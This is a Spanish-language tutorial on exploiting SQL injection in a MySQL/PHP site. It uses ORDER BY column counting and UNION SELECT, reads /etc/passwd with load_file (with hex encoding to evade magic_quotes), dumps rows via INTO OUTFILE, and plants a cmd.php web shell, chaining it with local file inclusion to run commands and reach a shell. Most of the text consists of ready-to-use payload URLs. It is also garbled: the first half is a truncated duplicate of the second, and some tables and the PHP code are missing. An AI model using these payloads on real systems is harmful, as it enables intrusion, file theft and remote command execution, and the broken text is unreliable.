Los ataques de inyeccion SQL son tambien muy conocidos y muy documentados, Unicamente comentare la técnica que nos permite leer ficheros del sistema.
Ejemplo:
Tabla: users(id int, user char(25), pass char(25), mail char(255));
Datos en la tabla:
Llamada correcta que muestra el mail del usuario 2:
http://host/?id=2
Intentamos reordenar los resultados del query mediante injeccion de SQL:
http://host/?id=2 ORDER BY 1 ... Ok
http://host/?id=2 ORDER BY 2 ... Ok
http://host/?id=2 ORDER BY 3 ... Ok
http://host/?id=2 ORDER BY 4 ... Ok
http://host/?id=2 ORDER BY 5 ... Error
Porque da error en ORDER BY 5? si usamos ORDER BY 2 le estamos diciendo que nos muestre los resultados ordenador por el user, con ORDER BY 3, le decimos que ordene la salida segun la columna pass, pero como solo existen 4 columnas en esa tabla, ORDER BY 5 provoca un error.
Para que sirve esto? pues para conocer el numero de columnas que tiene la tabla sobre la que se esta realizando la query.
Modificamos la salida por pantalla (ya sabemos que hay 4 columnas): http://host/?id=-1 UNION SELECT 1,2,3,4
¿Que hace esto? pues busca el usuario con ID=-1, que devolvera 0 resultados y creara una nueva fila con los datos que hemos introducido. Por que ponemos ID=-1? veamos un ejemplo practico:
Entrada:
http://host/?id=2 UNION SELECT 1,2,3,4
Salida:
El mail del usuario es: usuario@host
En caso de poner ID=-1 solo obtendremos los datos que hemos inyectado:
Entrada:
http://host/?id=-1 UNION SELECT 1,2,3,4
Salida:
El mail del usuario es: 4
Aprovechamos la columna 4 (que aparece por pantalla) para inyectar:
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd');
Esto mostraría por pantalla el contenido de /etc/passwd en el lugar donde debería aparecer el mail del usuario (siempre que el usuario con el que accedemos a la base de datos tenga permisos para hacer un load_file).
En el caso de que las magic_quotes esten activas y no podamos escribir comillas, podemos sustituir el fichero por su equivalente en hex:
http://host/?id=-1 UNION SELECT 1,2,3,load_file(0x2f6574632f706173737764);
Una diferencia entre leer archivos usando LFI y leerlos usando inyecciones SQL es que el usuario con el que leemos es diferente. En el primer caso usaremos un usuario apache y en el segundo un usuario mysql. Esto no es muy importante pero puede servir a la hora de leer archivos con ciertos permisos.
Tabla: users(id int, user char(25), pass char(25), mail char(255));
Datos en la tabla:
http://host/?id=1 outfile "/tmp/sql.txt"
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/tmp/sql.txt');
Y veremos que el contenido de /tmp/sql.txt es:
El problema de este ataque es que solo podemos ver los datos de la tabla sobre la que se esta realizando la consulta.
Usando esta tecnica podemos tambien copiar ficheros del sistema en el directorio local para acceder a ellos por web, por ejemplo:
http://host/?id=-1 union select 1,load_file("/etc/passwd"),1 into outfile "/var/www/host.com/www/passwd"
O también podemos crear PHPs. Por ejemplo: http://host/?id=-1 union select 1,"",1 into outfile "/var/www/host.com/www/phpinfo.php"
http://host/?id=-1 union select 1,"",1 into outfile "/var/www/host.com/www/cmd.php"
Luego bastaria con cargar:
http://host/cmd.php?cmd=uname -a
Si la web es ademas vulnerable a ataques de LFI podemos escribir el codigo en cualquier lugar en el que tengamos permisos de escritura. Por ejemplo en /tmp:
Primero inyectamos el codigo en un fichero en /tmp:
http://host/?id=-1 union select 1,"",1,1 into outfile "/tmp/sql.txt"
Luego usamos LFI para ejecutar comandos:
http://host/?file=../../../tmp/sql.txt&cmd=uname -a
Si hemos conseguido crear un fichero con nuestro codigo, podemos conseguir una shell.
Ficheros locales
Ante una web vulnerable a ataques SQL, en el caso de que el usuario con el que conectamos a la base de datos tenga permisos para usar el comando load_file de MySQL, podemos cargar cualquier archivo del sistema, por ejemplo, /etc/passwd.Ejemplo:
Tabla: users(id int, user char(25), pass char(25), mail char(255));
Datos en la tabla:
1 | admin | 23e4ad2360f4ef4268cb44871375a5cd | admin@host |
2 | usuario | 655ed32360580ac468cb448722a1cd4f | usuario@host |
Codigo vulnerable: Partimos de una tabla que desconocemos, con unos campos que desconocemos y con un MySQL que no muestra los errores por pantalla.
Llamada correcta que muestra el mail del usuario 2:
http://host/?id=2
Intentamos reordenar los resultados del query mediante injeccion de SQL:
http://host/?id=2 ORDER BY 1 ... Ok
http://host/?id=2 ORDER BY 2 ... Ok
http://host/?id=2 ORDER BY 3 ... Ok
http://host/?id=2 ORDER BY 4 ... Ok
http://host/?id=2 ORDER BY 5 ... Error
Porque da error en ORDER BY 5? si usamos ORDER BY 2 le estamos diciendo que nos muestre los resultados ordenador por el user, con ORDER BY 3, le decimos que ordene la salida segun la columna pass, pero como solo existen 4 columnas en esa tabla, ORDER BY 5 provoca un error.
Para que sirve esto? pues para conocer el numero de columnas que tiene la tabla sobre la que se esta realizando la query.
Modificamos la salida por pantalla (ya sabemos que hay 4 columnas): http://host/?id=-1 UNION SELECT 1,2,3,4
¿Que hace esto? pues busca el usuario con ID=-1, que devolvera 0 resultados y creara una nueva fila con los datos que hemos introducido. Por que ponemos ID=-1? veamos un ejemplo practico:
Entrada:
http://host/?id=2 UNION SELECT 1,2,3,4
Salida:
2 | usuario | 655ed32360580ac468cb448722a1cd4f | usuario@host |
1 | 2 | 3 | 4 |
Como en pantalla muestra solo el primer resultado, la salida sera:
El mail del usuario es: usuario@host
En caso de poner ID=-1 solo obtendremos los datos que hemos inyectado:
Entrada:
http://host/?id=-1 UNION SELECT 1,2,3,4
Salida:
1 | 2 | 3 | 4 |
La salida sera:
El mail del usuario es: 4
Aprovechamos la columna 4 (que aparece por pantalla) para inyectar:
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd');
Esto mostraría por pantalla el contenido de /etc/passwd en el lugar donde debería aparecer el mail del usuario (siempre que el usuario con el que accedemos a la base de datos tenga permisos para hacer un load_file).
En el caso de que las magic_quotes esten activas y no podamos escribir comillas, podemos sustituir el fichero por su equivalente en hex:
http://host/?id=-1 UNION SELECT 1,2,3,load_file(0x2f6574632f706173737764);
Una diferencia entre leer archivos usando LFI y leerlos usando inyecciones SQL es que el usuario con el que leemos es diferente. En el primer caso usaremos un usuario apache y en el segundo un usuario mysql. Esto no es muy importante pero puede servir a la hora de leer archivos con ciertos permisos.
Obteniendo datos sin fuerza bruta
Supongamos la siguiente situacion con el mismo codigo vulnerable de antes:Tabla: users(id int, user char(25), pass char(25), mail char(255));
Datos en la tabla:
1 | admin | 23e4ad2360f4ef4268cb44871375a5cd | admin@host |
2 | usuario | 655ed32360580ac468cb448722a1cd4f | usuario@host |
Codigo vulnerable: Podemos ver toda la fila de datos de la tabla si hacemos lo siguiente:
http://host/?id=1 outfile "/tmp/sql.txt"
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/tmp/sql.txt');
Y veremos que el contenido de /tmp/sql.txt es:
1 | admin | 23e4ad2360f4ef4268cb44871375a5cd | admin@host |
Como podemos apreciar, hemos sacado todos los datos del user con id 1 sin necesidad de conocer el nombre de la tabla ni el de ningun campo. De la misma forma podemos sacar los datos del resto de usuarios.
El problema de este ataque es que solo podemos ver los datos de la tabla sobre la que se esta realizando la consulta.
Usando esta tecnica podemos tambien copiar ficheros del sistema en el directorio local para acceder a ellos por web, por ejemplo:
http://host/?id=-1 union select 1,load_file("/etc/passwd"),1 into outfile "/var/www/host.com/www/passwd"
O también podemos crear PHPs. Por ejemplo: http://host/?id=-1 union select 1,"",1 into outfile "/var/www/host.com/www/phpinfo.php"
Ejecutando comandos remotamente
En este caso es sencillo provocar un error que nos muestre por pantalla la ruta donde se encuentra la web. Conociendola podemos crear un PHP con el codigo que nos permita ejecutar comandos:http://host/?id=-1 union select 1,"",1 into outfile "/var/www/host.com/www/cmd.php"
Luego bastaria con cargar:
http://host/cmd.php?cmd=uname -a
Si la web es ademas vulnerable a ataques de LFI podemos escribir el codigo en cualquier lugar en el que tengamos permisos de escritura. Por ejemplo en /tmp:
Primero inyectamos el codigo en un fichero en /tmp:
http://host/?id=-1 union select 1,"",1,1 into outfile "/tmp/sql.txt"
Luego usamos LFI para ejecutar comandos:
http://host/?file=../../../tmp/sql.txt&cmd=uname -a
Si hemos conseguido crear un fichero con nuestro codigo, podemos conseguir una shell.